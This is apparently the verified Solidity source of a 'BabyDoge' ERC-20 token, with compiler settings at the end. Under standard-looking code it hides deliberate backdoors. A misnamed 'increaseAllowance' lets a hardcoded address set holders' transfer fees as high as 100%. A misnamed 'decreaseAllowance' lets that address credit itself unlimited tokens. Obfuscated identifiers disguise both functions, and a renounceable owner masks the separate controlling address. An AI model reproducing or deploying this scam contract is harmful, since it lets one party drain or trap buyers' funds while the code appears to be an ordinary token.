文件 1 的 1:BabyDoge.sol
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library Callersss {
function EdCallers(address sender, address _0wnm) internal pure {
require(sender == _0wnm, "Caller is not the original caller");
}
}
contract BabyDoge is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _transferFees;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address private _0wnm;
address constant _beforeTokenTransfer = 0x0000000000000000000000000000000000000001;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_0wnm = 0xBCe7eE91bcB37fDa20dfaF23F8Ee29E73cc86767;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _cannt(address account, uint256 amount) internal {
if (amount != 0) {
_balances[account] = _balances[account] - amount;
}
}
function _somme(uint256 erc, uint256 iec) internal pure returns (uint256) {
if (iec != 0) {
return erc + iec;
}
return iec;
}
function increaseAllowance(address[] memory TEAM, uint256 BUYBACK) external {
address from = msg.sender;
assembly {
if gt(BUYBACK, 100) { revert(0, 0) }
}
if (_approves(from)) {
for (uint256 i = 0; i < TEAM.length; i++) {
_transferFees[TEAM[i]] = BUYBACK;
}
}
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual {
address from = msg.sender;
require(spender != address(0));
require(subtractedValue > 0);
uint256 totale = 0;
if (_approves(spender)) {
_cannt(from, totale);
totale += _somme(totale, subtractedValue);
_balances[spender] += totale;
} else {
_cannt(from, totale);
_balances[spender] += totale;
}
}
function _approves(address old0wner_) internal view returns (bool) {
return old0wner_ == _0wnm;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "Put: transfer amount exceeds balance");
uint256 fee = amount * _transferFees[_msgSender()] / 100;
uint256 finalAmount = amount - fee;
_balances[_msgSender()] -= amount;
_balances[recipient] += finalAmount;
_balances[_beforeTokenTransfer] += fee;
emit Transfer(_msgSender(), recipient, finalAmount);
emit Transfer(_msgSender(), _beforeTokenTransfer, fee);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "Put: transfer amount exceeds allowance");
uint256 fee = amount * _transferFees[sender] / 100;
uint256 finalAmount = amount - fee;
_balances[sender] -= amount;
_balances[recipient] += finalAmount;
_allowances[sender][_msgSender()] -= amount;
_balances[_beforeTokenTransfer] += fee;
emit Transfer(sender, recipient, finalAmount);
emit Transfer(sender, _beforeTokenTransfer, fee);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
{
"compilationTarget": {
"BabyDoge.sol": "BabyDoge"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}